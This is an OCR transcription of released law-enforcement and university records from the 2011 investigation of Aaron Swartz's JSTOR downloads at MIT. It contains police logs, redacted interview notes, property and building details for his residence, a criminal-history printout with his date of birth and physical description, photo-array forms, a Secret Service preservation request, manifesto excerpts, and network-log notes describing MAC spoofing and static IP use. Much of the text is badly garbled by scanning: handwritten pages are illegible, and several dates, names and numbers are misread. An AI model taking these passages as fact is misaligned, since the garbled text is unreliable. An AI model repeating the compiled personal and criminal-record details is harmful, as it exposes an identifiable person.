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24 LEE STREET SUSPECT ARRESTED BY MIT OFFICERS FOR
BREAKING AND ENTERING AT 21 AMES STREET.
AARON SWARTZ, NO KNOWN ADDRESS.

M13 /105 REAR

MASSACHUSETTS AVE SECTOR 3 TAKES A REPORT OF A STOLEN LAPTOP.

M18 /21 REAR AMES ST

SECTOR 3 TAKES A LARCENY REPORT OF AN 1POD.

M32/32 VASSAR ST CALLER STATES A PACKAGE THAT WAS RECIEVED
HAS BEEN STOLEN. SECTOR 3 RESPONDING

NO REPORTS OF RESIDENTIAL FIRES
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(bXG).(b)

b
(7ycy  kaid that vog introduced ty (0)8) (L) 7XC) 1ail and that he otTered to work wi hﬁ (
on an article about Sprout & Co.[E)6).0] HE©) (E

BJsaid thatl® . ®Vruns Sprout & CfBX8).5) Jsaid that
Swantz gives money to hacker spaces like Sprout & Co.

(L){6),(L)

~—]

by@). | .
said thatnlso spoke with Swartz afier the search of his residence, fh{fg{{c vid that
Swartz told(®) | that agents came into his house and took part of his book{(PX5).(0) Jsai

d that Swarlz
also said that agents came into the Safra Center and took his controller for Rock Band{(t)0).(b) [said
that Swartz tol

(b} Jthat the agents were frustrated and that they did not find what they were looking
for{PX8). _ Isnid that Swartz told|(®) [that the agents took his phones.

(bXe®) |, that ad stayed at Swartz's residence at 950 Massachusetts Avenue in Cambridge
Mas e

sachusetts 3 ently a3 the week before [(0X6).(00keated that shcruxu‘ ] I
aid that Swartz tried a project back in 20090 stay off line for a month.
M ATMICY TIat afley hat, Swartz usually did not keep computers at home.

said that she was with Swartz at an [FO®TE]

that Swartz and l(z>k°: “’:.(:(;Cl l
H:g))«(b said tha 19 1o K (he journal System and that he Telt far rescarchers in India.

said that Swartz started a Google Group called Guerilla Open Access and that he posted the
Guerilla Open Access Manifesto.
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City Of Cambridge - PROPERTY DETAILS

Page 1 of 2

) FPeea——

$3 Back to the Show
Property Datake

buip://www2.cambridgema. gov/fiscalaffairs/PropertyDetail cfim ?Property [d=9077

[ FISCAL AFFAIRS

B8 Property Database Search Resulits
950 Mass Ave, Unit

Property Information;
Propedy Class:

Stato Ctass Code:
Zoning (Unomdal):
Mapial.

Land Ares

Proparty Valua:

Year of Assasyment;
Tax Distriet:
Reurdonitat Exempton:
Buiding Valua:

Land Verss:

Assessod Valua:

Sale Pricw,
Book/Page.

Sate Date:

Provdous Asreassd Vol

Owner !

CONDOMINIUM
102

12040820
0

2011
R12

$300,500

$257,500
32954/ 443
March 26. 2001
$309,500

Ownar(s):

(b)(8).(bXTHC)

Buiiding information:
Condomfrdum Busiding
EXTERNR;

Byyle

Numbeér of Stores

Flooe Lacslion

Vi

RTERIOR:
Living Area
Tetal Roarm
Searooms
Kiechens
Full Gathe
Hadf Bethe
Firepiaces
Floodng
Layout
Laundry in Unt

SYSTEMS:
Heet Typa

CONDITION & GRADE:

APARTMENT

Avarnge

Click on Photo 1 view 1erger image.

Reisted informstion:
Gi§ of tua Propery
: SM%W
* Tows
Gomparabie Geles $enreh

wiad ondy for ad vaicrem fox sion
purposos ond dny alher use fx
tharefors nat valid
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City Of Cambridge - PROPERTY DETAILS

Yeour BuR
OveraB Condition
Ovensil Grade

PARKING:
Open Parking
Covema Puking
Garsge Pariing

BUBAREAS:
Cnda Dewcripion
BAS  Fugl Fioor

G —RMAEMsear) P YR ITINT

Toted
< Provicse Preperty

PSRRI oo 95

| Back Io Search Resuits__..] {__Seaich Agein )

Q2082 - 2041 Chiy of Cambndge, MA | aublcations | b | contact | disummmy | Pivacy Stement | home

http://www2.cambridgema.gov/fiscalaffaira/PropettyDetail.cfm?Propertyld=9077

Page 2 of 2
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Dwelling and Storage Locker Description

950 Massachusetts Avenue In Cambridge Massachusetts has three streets that abut the property,
Massachusetts Avenue, Bay Street and Green Street. 950 Mass Ave Is also known as the Bay Square
Condominiums. it contalns 109 residential and 4 commercial condominium units. The main entrance to
the building is from Massachusetts Avenue. Upon entering the front daor there Is a foyer between doors
that contain a list of resident’s last name that show a door bell number for the resident. The door bell
numbers do not reflect the actual unit number of the resident. Door bell number@m tha name
Swartz on it

The building has twa lower levels and seven staries above ground on the Massachusetts Avenue side of
the building, The two lower levels are garages known as lower garage and Upper garage. Floor one is the
ground level floor when entering from the Massachusetts Avenue side of the building. The six floors
above that are floars 2 through 6 and the 7" Roor is referred to as the Penthouse floor.

(b)

Al 8;](111;‘)' (B).{ [Swartz) is located on the third floor. it has 8 dark brown wood grained door with the number

attached to it just above the peep hole. it is described as 2 586 square foot three roopong
bedroom, one bathroom comer unit condominlum. Aaron Swartz is the listed tenant of uni' gy The |
(b)(8).(bX7)(C

owners of the unit are listed as|

There are storage lockers located on the foliowing levels, lower garage, upper garage, first floar and
penthouse floor {aka 7 floor). The storage lockers can be described as large locked cages.

occupants place their own locks on the locker doors. Unit E}]is deeded and assigned Iockem which
Is located on the first floer in a room behind the front conclerge desk, The locker is markad with the
letter and numerall};

950 Massachusetts Avenue aka Bay Square Condominlums Is managed by Thayer and Associates iocated
8t 1812 Massachusetts Avenue Cambridge, MA 02140 with a telephone number of 617-354-6480.
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City of Cambridge - o - ‘ January 30, 2011
Property Map for 950 MASS AVE.
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ClHISWeb Page 1 of 2

ted On: 01/15/2011 17:56:53

(b)(8).(bX7XC)
' MA Crim, Hist, (BOP) .

oose

—orrne

Original  NAME: SWARTZ, AARON DOB: 11/08/1986 BOP Dats 0iuiseoit
Query: Notification: Y sy of: §

[T — - ) |
e ponc e viie b i ¢ e SR eab BB S & 4 Ganem s

estosans e - v sorsinios - - goemria - -
;'i'ﬁ#'iitbtbn!tttl.ttﬁﬁﬁﬂﬁﬁtttt**tttwt't.t#'t't't*t*t#*iﬁﬁﬂttii#i'ﬁlt&tntnhottlﬁ

) * .
4 Ahorkat wARNING (AEERSE 2 2 2 wAR:‘ING IR A XE R R *
v *
* THIS INFCRMATION IS CORI. 1IT XS NOT SUPPORTED BY FINGERPRINTS. *
*PLEASE CHECK THAT THE NAME REFERENCED BELOW MATCHES THE NAME AND DATE OF BIRTH®
*OF THE PERSON REQUESTED. '
» L]

ERNAARRNTES SRR AR B E Ik N A2 AR 2B R R I TARARAN VP DA LA AUN P AAN YA I a A w AN rd bR ndRen Rt r T o d

b LA COMMONWEALIR OF MASSACHUSETTS AR LS 4 AR
CRIMINAL UISTORY SYSTZMS BOARD

Axv PERSONUS COURT SUMMARY *v*

NAM: SWARTZ, AARON H FORMAL-NAM: AARCN PCF: 000051758C7,
DOB: 11/08/86 SEX: M RAC: W PNB: 1L ssN: ABYG),B)7 )T -
MOM; POR: BGT: 506 WGT: 130 HMAI: BLK EYE: BRO
ADDRESS ¢

(bY(B).(EXTNC)
COMMENTS :

WAk HwdEN ARARE whEEA ADULT A??EAF-ANCFA'S BYEAN KRAEE RAAYY wadoe

ARRAIGNMENT: (0001)

ARG~DATE: 01/07/11 PQ:; MIP COURT: CAMBRIDGE DISTRICT DKT#: 1152CRO00073A
QFF: B&bk DT W/I COM FEL BLE DT W/I FEL
DISP: C 2/22/1) STATUS: O  WPD:

RRRAIGNMENT: (0002}

ARG-DATE: 01/07/11 PD: MIP CQURT: TAMBRIDGB DISTRICT DKTé: 1152CRO0NDTSA
. OFF: B&E DT w/I COM FEL BEE DT W/1 FEL
' DISP: C 2/22/11 STATUS: O  WPD:

*AARDS AAwPrR FLAAR vhEX END OF BOULT APPEARANCES *tewq Aarbhd hikbed ovEed
nequestep By [ONBMENTNC)
1 COMPLETED BY:
i AGENCY: CAMBRIDGE POLTZE DEEARTMENT

RMOB63 1HOZ

This 18 Criminal Offendes Record Information (COR)) and access and  Massachuxetts Criminud Juatice Information Servicas (CIIS)

dissernination of said infesmation Is under the autherity of 26D Adington Sueet, Sutte 2200
Massachuselts General Law Chapter 6 Sectians 168-172 and Code of (halses, MA 02150
Faderal Regulations (28 CFR 20.2). Only autherized persons in the CIIS Operations: 617-660-45620

rerfarmance of thelr official dutios may access, wsa or disseminate
this information for official and lawhd aiminal jusike purposes.
Questions concesnirg the access, use or cissenination of thig

2588
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CIISWeb Page 2 of 2

information should be directed to the Massachusetts Crimine Justioa

Information Services Division of the Criminal History Systems Board ot
6176604710,

CJISWeb Printo

ted On: 01/15/2011 17:56:53
By User:

{b)}(8).(b)T)C)
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Assessing Department Viewer Page 1 of 1

(rimrapumaoon Cambridot CityViewer . . @)

Gaas Hap | 2010 Photo s (] [ Batediicn  ieoend || owation |
Heip 106  n r.- Seinet L S SR

: ;--:i';c.amaiq&{
16 1IC (CONOONINILM | *
C i

:320:49:3A S5O SASS AVE 924 3" { CONDOMIMUN |

{120°40-38 1950 WASS AR B30 38 ICONDOMINIUNG:
14 selacted Yo Mafing Latsh  To Stvasduhen

—v - 172 Vo
120-40:3C " 950 MASE AVE AAT 3¢ I CONOONRINIUN ;-

R
Proporty Infa | Sales History || Property Imeges |
Prim
Propenty 1D 120-40-44 1
10 4023
Addresy DSO MASS AVE RIA !

Lano Uss CONOONINIUM
Land Ares 4.95 sowe / 41382 5 1
Living Area 878 s R

Propety (aed
Pecant Conpratia Solat
Sovgis Yap = Aut Kviw 3478 Yap y Imasn e 2
© 2005 Cily of Cambridge, MA | yemeah | aublications | ioha | comast | disclaimer | Privecy Sixement | home

RIF
hitp://gis.cambridgema.gov/map/Viewer.aspx 113072011




. _ I
T T ASTAY] Sl ) b
(N ~wvg v ¢ - T 0y :
..... AR . - ~
T T~ >.L- et ouip
T e T
397~ ~wsT

——— —3

STy pr v Ry @\\ i LK - j.&!l
S Ll
e

i
Gx%...@..e_‘

i
(D)2 )May(e)g

mu :

5Ss 0 o
| T/o ;
G| SRV I R

rrvm———— sy e oo

2592



L
bt

MULT MG, compu fMJ Do NLodtng
3 ‘ BRGTBN7XC)
(—47&. SEAT"  ~ S - 1T e [ Crilno
(P ihehont :
"°/7~z GWoST__ Lttt ins P _LISS 4o guc (4
g AECIITAL) A GuEST™
Blll ool (IFL = APME
(Fon 55
DZE g
N—_— L

ARGt LAt
(A7)

2

VISine AdGsmarel =  /ftrlumgs
CH SR~ LY
G/”"'f //fo ’Q'(Qrf 7L C@ G ife 4«7:3"' (oM {j)

P i Lissma. o
—— A 7o AR .
- RCRen { Yo’ vl ]jll‘;pdﬂfj 218¢ }7./1 O
PPRNUT WS g
OCTDIBK/\/ 12 004 ¥ 7 e ‘
NATETEI

[ninaY  plosTe

25983



[ofh___(07kC___Climnpes iipc AmEss
T~y pof7 e
(ofs ___axits - .
/0/9 A CoveTmA s s USE Oty
BOT 07T A3y T Aokl J-S0M— o
) 04£<_ Ve d
el / )
[C_ hvaaune / A A Trram 3. 4/7‘5/' et
L KRECTRD  AANOE [ Rurtard :
SEF - AL N L __
T LES  [Fuons SURMET Aadr b‘/N@fL_-_'fZ‘_ 5o
m|‘°’ (B BXTICY ] I
__(,sﬁw / —
el [
(roag. O~ Arune~ @erEcr i
(8).(BX7YCY 7 :
: (B)B).(B)T7XC) S
_,___ , | = T s / 7_- ;
Spods TS
[N (DIt4](+) B At .
/';./;.\f ($V- R LQRTY From l /I'o 7L o
- //ﬁ (L'S"( COMLTS ’7) g ("MM. gLQ; y
- - W —— " . S— e eme Ckodn “4“'0‘ -
i s oS s w gl ¥

2594



Accgsy 7o 7S Tosr gy Busk e /e
6"((7 A‘zmwonfg)

'/‘/ TIPNE)L(0)

[QErTIFES  [AIEAL 7~ A2

L
O Y7 NoTIFItS  COLKACGr 27 fartar
YO BUTNCT
zft;wf} &4 ot At

CHDST - Lqgriel D GHISE =t e Foors

CHrrees  Mac_ 4Incfs 7o sei CEfEA B 15 vra

Aofc  EsAv  CI5¢ PV APrES S (fF COMPI TN, B

// 7 = SoNT L

/ﬂ’ora,( ALCHINY AN DL~ woTd ///

FbSE e~ Lot [ MAYSTA
é A} 5

MEC  arrve

[SHT [§s #e (@ Ar7.eo

(b)6),(BX7NC)

- Mgy A4oA

2505




(b)E).{L)7HC)

e ot raas m———3s et St e & 1 e e 48 Se  mer  siet mmemseediemts =t s e/ ome  Saies  Siees

. .- - B T D L e L

]/L/ /’40-/(4(/’ CArTALS /?-/\.uuﬂ’o RLCEY, om W

I XS OAT oo B -
-
___C"‘”‘M""Vﬂf From Ssevnk SHKEL oo e,
Cortetamny pofo0r—
(©)(6).)7HC) R S

ST SR s -
7‘3f' g g 1557 _‘__’fﬁ""“c /:Z::” )

ra irmase s e e esTese e Ao ——

SO  Pri Yhsn  AANT oAVl

ALl CoigcTsoms grecp s 5

- o e

Arcug ve L e

lEns oF SKRUIE RALH oM  S1%_ ac‘ (ou,ca:/ ,u.rr,wmn./

s
- - rmi e e Geeasmas thb e = mee e e emi A AT S S W e @ )0 oo o rd

1P _Fma _access s

N
On_TUny_GaTEst (F_OFF Carires :

-y st

Bowews L B seimten’ e RIS L BEN SIMIRINISOE  ewiade gEEew A

MITNCT - Avks of wsC

JMORT  or Lidasnics  wbens  TLn SHAT Dot —

..?.’%FUAJ'S_‘ o ) fﬂuf PN Caritvs )
) LSS 8 oo z?u/u,%

‘e (¥4

bom oo

TS e PFAnCraeTs CHSTT '% VWAND  PIEESS  PeAl ysen



/2 1930

{b)(6).(bX7)(C)

SIPE tIre = §57

AT sw3  LEFr rLrusmmo /i 0

OTHer~  sTudgrrsS FTCLD) 7~

ConMPrercy  [PEemeT |

(rommagko rA' ¥R S /R DO SErran. (OG

CUEClke ) et [aom  LAPMI7

BENTRALY 0 A SAT  CEFT oF CETRA,

7R

AEre~ i3 ,'c/f ST I

ASKA 10 LK NeTwek el

SAT _westere Gl /S Bosnd  SEER

rEXT g A O DUCKT

CAT  IN PrOorT 8 F  ADTACrrsT™ S04 oA

NAFF R Coaene

Pl )
{Ltre ek Galy /’EFrRo0ic (S'M«!Lk- ;mA‘.J *

e BT and_ DavvC

ArvoTtien. _cropcrns cfeve _sad S / QUES77d .~

= Do YoUu wigd vy ) - &0

(']‘) l)(T
IoTI) Lonken ¢ 08U ANESRIOL

(M (FRUAC v AFEL Yowne  (ocrans o

2597



(h3(0) ()
(THC)

LA S  Anov~d  (3-5D

(b)(6),(bX7)

(C)

LEAVES AT /Y08  ~ HRour” /O

LOoCks  Doan

lErunnve 7o 7P8 /S Z0 =151y
[<AST  CArPVS »

(Dt (D} ()

Dang  [brre LONGIIH  crndcecs

T

fir _car = gures,

Darvye.  Thetecis™

Lol c T DO HeTe AgrrAy

2598



MASSACHUSETTS INSTITUTE OF TECHNOLOGY

Potles Department
303 Vassar Street

Casbeidge, Massachusetts 02139
(617) 2331212
Pox (617) 3243869

REPORT OF PHOTO ARRAY IDENTIFICATION PROCEDURE

(Side 1 of 2}

Casa ¢ //00055-‘/ Dote ﬂ/////Z{)//
PorcaDept. 7/ T folicE nm__m_':/éiﬁ

BIEY.BNTHT)
Identitying Witness (norrie & DO .
Officer Composing Aray _L2ETECTIVE L oy (U@ BUTICY
Officer Pregenting Aoy _C+Sicer
All Others Prasont A

Location of Presantation M PglrcE ST rrar

Uneup Presentation (check method used: Seauential or Simultaneouss. Blind or Traditiona))
» Sequential (one-by-one) Sublects were presentad In the following ordex:

leMterconback) & E F & D B A

Order Presonted 1 » 8t 4~ s 6 7 g 9
¢ Simultangous (ol af once)

» Blind Preserter (officer with no information as 1o suspect)

= Iigditioncl Presenter

Slatements by ony other people, made duiing ID procedure and In presence of winess:
a . K 3 . I 3 S' ] : !; L

This is o lwo-pagae fom. Please complete ihe second side ond have the winess sign.

{h(6),(BI7NT)
/ 2/ A ¢ ///
dafa

2599




REPORT QF PHOTO ARRAY IDENTIFICATION PROCEDURE

(Side 20 2
caet /000357 oote O /8 /201/
Police Dept. T PotiCE Tmg /630 hrs
|deniifying Wilness (nome & DOE (B)B).()TXHC)
(b)(6).(b) Adyisements to Wilness Befora Presantolion

(7XC) 1 om going to show you a group of individucis who ate In random order.

The pérson who commifted the ctime moy or may not be includad, so you should not fael
compeiled to make an Identificafion,

it Is Just ¢p Importont to clear innocent paopte as it 1s to identify possible pemefrators,
Whather' or not you Identify samaone, the police wil continue to investigats,
Altar you are dons, | will not be able to provids you with any feedback or comment on the
results of the process,

Plaase do not discuss ihis Identification procedura or the rasults with other withessas in this
case or with the medic.

. Think back to the fime of tha event, the place, view. lighting, your frame of mind, ofc. Take
cs much ime a8 you nesd.

. Paopie may not appear exactly as thay did of tha fime of the event, becouss feahues such
as dothing and heod/faclal halr are subjact to change.

. Geauentiat Qnly) | will show you one person at o fime. ond cannot tell you how many
pacple there are In total. | will show you all of the paople, even if you identify sormaone
satliar. As you finish looking ot each person, lot me know.

0. As youlook at sach person, if you see someone that you recognize, plecas tell me haw you
know tha parson, and In your own wards, how sure you are of the identification,

o B % DY —

o
b

identificalion made; Yes No___. [fYes, letter/order # selected:
Witness Ideniification Stalements

:.721/ /'um/

)B).(EH/NTY ge form. Please comple! o aiso.
i/ (b)(8).(bXTXC) 2af -0/ lllﬁ
gnaiure Date e Dete
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Swartz, Aeron.jpg
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CAAMBRIDGE PO E DERAR T T JDEN T A PR LISLT

3 Western Avenoe, Comibiidge. MA 02153

lavestigator's Copy

PHOTO ARRAY FORM

File # {1-00035) (CPD 11-000078}
DATE REQUESTED (mm/dd/yyyy): 111142011
DATE COMPOSED (mmv/dd/yyyy): 11172011
DETECTIVE REQUESTING ARRAY:  _MIT Dc] (b)(B).(b)(7)(C)|

COLOR:[{ BLACK & WHITE: (]
COPIES NEEDED: 1
SUSPECT INFORMATION:
Name: Asaron Swartz
Race: White
Sex: Male
Date of Birth (MM/DD/YYYY): 11/8/1986
Indicare Naine and Date of Birth for each picture letter used in the photo array
LETTER " LAST NA} [ F YY)
Picture A ((mﬂ!} TOR7 XC)
Plctute B
Picture C —SWAKIZ I __Axon [ 1HR/C
Picturs D IS) (DH7H
Picture B
Picture F
Picture G
Piclure H
Plerure | .
Pletwre J
Picture K
Picture L,

PARIAIDMASOPA oty Array Forondowe
Atgiun Tdeaitivition Unlt Manager
(b)(8).(bXTHC)

Dale

Date
‘ ; Vo2 //

pp. b ot
Retiseds 17111201}

2602




Intermet Archive Search |
on June 2%, 2012 X copducted a search of the Internet Archiva websita wayback Mechine
tpociﬂuﬂy Visting "gueri1laspenaccess,com” in the search query.

1 located nine datcd coptures snd_usiog tha software Snagit, I captured aach of the
nine doyes and the callendar. T &lso located a Guarilla Open Access document on
' and saved that in a portable data format.

(bX8).(bX7)(C)

Taly 3, 2012

page 1

2603



» On guerrilla open access The Occasional Pamphlet Page 1 of 1

The Occasional Pamphlet

on schotarly communication

On guerrilla open access
July 28th, 2011

Asron Swaniz has been indicted for wirs fraud, computer fraud,
unlawfully obtaining information from a pratected computer, and
tecklessly damaging a protected computer. The alleged activities that [§-
led to this indictment were his downloading massive numbers of ,
articles fram JSTQOR by circumventing IP and MAC address
limitations and breaking and entering into restricted areas of the MIT
campus to obtain direct access to the network, for the presumed 3
intended purpose of distributing the articles through open file-sharing %
networks. The allegation is in keeping with his previous calls for Wi " om G, Bow
achieving open access to the scholarly literature by what he called ISTOR
“guerilla opep access” in a_ 2008 manifesto: “We need to download '
scientific journals and uploud them to file sharing networks.” Because many theorize that Swartz was
intending to further the goals of open access by these activities, some people have asked my opinion
of his ulleged activities,

A

FETNA

. founder of

Before going further, I must present the necessary disclaimers: I am not a lawyer. He is presumed
innocent until proven guilty. We don’t know if the allegations in the indictment are true, though [
haven't seen much in the way of denials (as opposed to apologetics). We don't know what his
intentions were or what he planned to do with the millions of articles he downloaded, though noue of
the potential explanations I' ve heard make much sense even in their own terns other than the guerrilla
OA theory implicit in the indictment. So there is a lot we don’t know, which is typical for a pretrial
case. But for the purpose of discussion, let's assume that the allegations in the indictment ace true and
his intention was to provide guerrilla OA to the articles. (Of course, if the allegations are false, as
some seen 1o belicve, then my claims below are vacuous. If the claims in the indictinent turn out to
be false, or colored by other mitigating facts, 1 for one would be pleased. But I can only go by what I
have read in the papers and the indictment.)

There’s a lot of silliness that has been expressed on both sides of this case. The pro-Swartz faction is
quoted as saying "Anvon's prosecution underinines academic inquiry and demmocratic pringiples,”
Hunh? Or this one: “Is incredible that the government would try to lock someone up for allegedly
lovking up articles at a hibrary,” Swartz could, of course, have looked up any JISTOR article he wanted
using his Harvard library privileges, and could cven have text-inined the entirs collection through
JSTOR’s Data for Research program, but that’s not what hie did. Or this howler: "1t's like trying to put
somepne ip jail for pljepedly checking too many buoks out of the Jibrary,” No, it isn't, and even a
cursory reading of the indictinent reveals why. On the anti-Swartz side, the district atcomey savs
things like “Stealing is stealing whether you use a computer command or a crowbar, and whether you
take documents, data or dollars.” If you can't see a difference between, say, posting one of your
articles on your website and lifiing a neighbor®s steren, well then I don't know what. There’s lots of
hyperbole going on on both sides.
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Guerilla Open Access (Aaron Swartz's Raw Thought) Page 1 of |

You have reached the cached page for hilpJ//www_aaronsw comwebioa/aoa N

elow is a snapshot of the Web page as it appearad on 4/4/2011. This is the version of the
age that was used for ranking your search results. The page may have changed since it was
ast cached. To see what might have changed (without the highlights), go to the curcent page.

Yahoo! Is not responsible for tha content of this page
RAW THOUGHT
Guerilla Open Access by Aaron Swartz

A few months ago I got to attend a meeting in Eremo, [taly, a beautiful absndoned
monastery deep into the European countryside, Thers, tatking with vthers round the world,
1 realized that the Open Access movement simply wasn't enough — even if we got all
journals going forward to be open, the whole history of scientific knowledge wouid be
locked up. We had to do something more.

Talking with others at the meeting, I realized what must be done. If we couldn't get free
access to this knowledge, folks would have to take it. Guerilla open access. So Y wroteup a
maaifesto:
“I agres,” many say, "but what can we do? The companies hold the copyrights, they
make enormous amounts of money by charging for access, and it's perfectly tegal —
there’s nothing we can do to stop them.” Bat there is something we can, something
that’s already being done: we can fight back.

I'm announcing the project in a talk today at Software Freedom Day in Boston, but I'm also
announcing it here:

Visit guerillnopenaccess.com and join us.
September 20, 2008

Read comments.
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(b)(8).(bX7)C) Contacts @ JSTOR).txt
From: / (b)(s)»(bk;%i gthaka.org] ?

Sent: __Tuesday, January 25, 2011 4:32 pM
i [ oeeme XD,
Subject: ontacts @ JSTOR

(b)(8).(b)
Hi {7XC)

Please find the information requested below..
(bXB).(bX7XC)

(bY(6).(bX7)(C) l!thaka.org

(BX}6).(bX7XHC)
D)(E).(B)TNC) thaka.org

office of General Counsel

(B)6).(BX7)C)
(6Y(6).(6X7)(C) | public systems

Public Systems

(b)(8).(bX7XC)

Page 1
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Global Net Access, LLC
1100 White St SW
Atlanta, GA. 30310
(404) 230-9149

Dear Custodian of Records:

Our agency is conducting an ongoing criminal investigation that involves one or more
account holders. As part of that investigation, we are requesting that information related
to www.aaronsw.com be preserved pending the issuance of formal legal process. More
specifically, we are requecsting that you preserve all subscriber information and/or
account contents or group information related to the customer or subscribers.
Additionally we are asking that all private messages, correspondence and bulletin board
postings from above named users be preserved. We are also asking that all web content
be preserved .

At this time we are expecting to obtain formal legal process in the next 30 days. We
acknowledge that if we do not serve legal process upon you in the next 90 days, and do
not request a 90 day extension, the preserved information may no longer be available.
(b)X(8),
Point of contact for this request is SA{LX7HC ht (617) 565-5640 or
[®)(®).(6)7)(C) @gsgs.d}u;.gov

Respectfully

(b)(8),(bX7NC)

Special Agent

United States Secret Service
10 Causeway Street,

Suite 447

Boston, MA, 02222
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(bX6).{bXT) (E)(6).{bX7HC)

on 01/14711 58fC) Detectiva RUSA Heymann
andl(b)(6).(b)THC) | counsel for MIT mst at the MIT office of General

Counsel wicn|(b)(6).(b) [b)(6).0X7)(C) the [(RELEUTUC) Hte scholarly
publishing and licensing [UELONINC)  Jeriu b)X6).(BX7UC)
(b)8).(b)7)C)

Istated that since 1397 MIT had bought many c¢ollections from
JSTOR, Buying a collection from J3TOR costs a onetime archive capitol
fee and subscription maintenance fee.

[(®3E).BX7THC)

estimated that MIT has sgpent at lea-n: $435,000.00 including
a $50,000.00 a year maintenance fee.

(6)(8).(bX7)(C)

stated MIT's relationship with JSTOR was a partnership madel
and fees were based un the nuwber ¢f PhD programs the colizge had,

(6)(6).(b)(7XC)
far,
(©)(6).(b){7)C)

stated that MIT had purchased 8 collaections from JSTOR so

stated that there is now a gateway for MIT to access
electronle resources tQq [OR.. B that MIT access to JSTOR used te be
based on an IP filter. |[®X6LMBN7HC) gstated that for an MIT student to
access JSTOR from off campus they always had Lo go through a gatsway.
(bX6),(bYTHC) stated that prior to the establishment of the gateway due to
Swartz’ s lent on the MIT network could gain direct access
to JSTOR[BNB).(BNINC)  Jrated that as fsr as she was aware, only MIT
used to have a system where anyone on the network could accesy JSTCR.
(b)(B).(bXTHC)

atated that the only other occurrence of J3TOR reporting
abuse to her was early in their relationship back in 1997 or 1998.

(£)(8),(bX7)C)

stated that when JSTOR first reported abuse from the MIT
network in 2010 they initlally blocked access by the entire MIT
network but with each subsequent incident JSTOR refined the IP
addresses blocked. On the third incident JSICR blocked the class C
subnet the abuse came from.

(b)(6),(bYTHC)

stated that hexr primary point of contact with JSTOR was

(b)(8),(EX7)C)

7
‘(b)(a)‘(b)(')(c) stated that MIT was on tha JSTOR participants list that is
listed on the JSTOR public website,.

[®¥®).(BXTIC)
. tated that she kelieved students from Harvard need a FIN to
accass JSTOR.
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(b)(8).(b)7) (EXE).(BY7)(C)
on 01/1a/11, $H(C) Detentive AUSA Heymann and
[t6)(6).(bX7}C) counse. for MIT met st the MIT office of Ganeral Ccunsel with

l(6)(8),(bX7HC) la[(LY(6Y.[BX7NC natwork 3ecurity analyst for MIT
Infermation Secvice and Techrolegy [(B)8),(B)7XC edu, kaﬁ)Jbﬂ7XC) l
I b
(PKBL() | informed the group that an examination of the ZHCP logs during the
time in September when JSTOR wag veporting the axcessive downlecads show a
computer registered as “ghost~laptop” with a MAC address of 00:23:5a:73:3f:fb
and an email addyess of ghost@mailinator.com.

(b)(6).(b)
netectivel(7XC) |noted that ali of the suepicious computer registrations on
09/24/10, 10 10, 10/08/L0 and 12/24/10 occurred orn Friday nighta. [(b)(8).(b}7)C)
(b)(6).(b)(7 Jconfirmed that foobt traffic in the runnel of bullding 16 wouic ze

1ght during those times.

(B)(6),(b) ,
(7)MCY stated that aon 10/01/10 the an attewpt was mada =0 register with

Lhe same MAC address as used oo 09‘24‘}0; fiowever, |[(D)(6).(B) | hsd blocked that

MAC addreas from registering. stated that on 10/02/10 arother
attempt was made to register on tne network with a MAC address of
G0:23¢5a:73:sf:£fc but still for “ghost-laptop.”

(b)(8),(bX7)
(C) alan stated that at one point on 10/09/11, “ghost-laptop” was
reqiaterad with 4 MAC address of 00:23:%a:73:5f:f¢c and “ghcst-macbock” was
reqgistarad with a MAC address cf 00:17:£2:2¢:00:74 at the same time.
[(B)(6).(b)(7)
(C) also stated that after 12/19/11, the attempts tc register on the
M1 natwork for “ghost-laptop” and “ghost-mackodsk” changed frem athempts to
gain an IP audress dynamically assigned through the MIT guest registratiocn
praocess to assigning themselves static IP addresses on the MIT network., Fhis
benavier continued until after Swartz was observed on 01/06/i1 moving the
laptop from Building 16 to anrd the machine was ragistered on the network from
the Stratton Student Center.

(b)(6).(bX7)
also stated thaet on N1/06/11 at approximately 1251 the computer

connected to art IP sddress registered to Amazan’s Elastic Compute Cloud (EC2)
aarvice.
(b)(8).{bX7)
(C) oted that5 up to 12/19/10, Swartz obtained [P addresses by using
rhe gueat registration to he assiyned an IP address through UKC®?, From
) to 01/06/11, Swartz would a3ssign himself a staric IP rddress.
(b)(B),(BX7)C) [theorized that cnce Swartz undesstood the subnet mask of the network
Building 16 was on it would have hean easy to assign himself an TP address
that was not being nsed; However when he moved the laptop to the Srratton
Student Center on 01/06/11, ne connectad to a new switch and went back to
oktaining ap 1P address through DHCPE.

Prior to this inecident, JSTOUR granted accesy tu anysne usiny a IP address
from the MIT network. MIT has a nlass A natwork and owra all of the IP
addresves beginning with 18,

I;s,b7' B)(8).(EX7)C
(ONELEND | recallad that on 01/03/11( NSLLEHLRS sant him an email telling

him that JSTOR inforwed her_tha npy nad detected abuse £ dress
[(6Y(8).(6)(7)X(C) i on 01704711, [(bXOMD) |tracad the 1P addreas[B)B).OXINC) ] in the

ARP Lable to MAC address (0Q4c.e5a.c796. MAC addresa 004¢.e5a0.¢756 was 2lgo

assigned IP address[B)6).MBYINC) fon the ARP wable. stated that IP

addreas [(B)(6),(b)(7)(C a3 logged with zaro seconds talking on the network.
(D)(B).(bXT) | theorized that Swartz establilshed [P address[(bX8),(BX7NC) |0
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compunicate with the compukter incise the MIT network shut down I[P address
|(b)(j6).:(b):(7)(0f]

(B)(6),(b)}7)C)
(0)(6).(bX7) stated that IP zddrass was an TP address ragistered to

JSTOR that appeared in the Lugs.

‘(b)(ﬁ).(b)m o

jstated that early in the morning of 01/04/11 he roticed in the BRP
table that the IP address reported for abuse by Jd3TOR waes active on the
switch 61 8/16 that he knew was in Buiiding 16. The switch is also listed in
the logs MI6~0Q4t-sw-entry.mit,edu. Q04T refers to the room number 4T, the
wire closet where the Acer Agpire one nethook with serial number
LUSRXODCO10C11002160) was Igund, [(D)(6).(b)7 led that at approxamately 0200
he sent an email tof(b)(6L.LX7NC) |and[B)B).b with the switch the computer
them to find it.

commjtting the abus a3 atcached to and a
(b)(6).(bX7)
(C) confirmed that the closet was generally kept locked.
(B)(6).(BX7NC) , , , ,
stated that at first Swartz used gusst registration %o obtain an [P

address but that static IP address were used later.kbxal(bk7) cenfirmed that

someona with quest registration has fell access in and out of the natwork.
(B)(6),(bX7) |stated that MIT border rcuters do block the Microsoft poris.
(©)(B)(BN7) stated all threae ragistrations 3Swartz used were variation of ghost
wiLh the computer name sither “eing ghost-machunk or ghost-laptsp and the
name used for guest registratlion heing either Gene, Gary or Hrace.

(b)(6).(bX7)

(C) stated that vased on the logs he reviewed that Swartz must have
spoefod his MAC address at least once, The MAC address ugaed in Jenuary
(oodc.e3a0.<756) had an invalid Jrganizationally Unique fdentifier (OUIL}.

(L)B).{LXT)

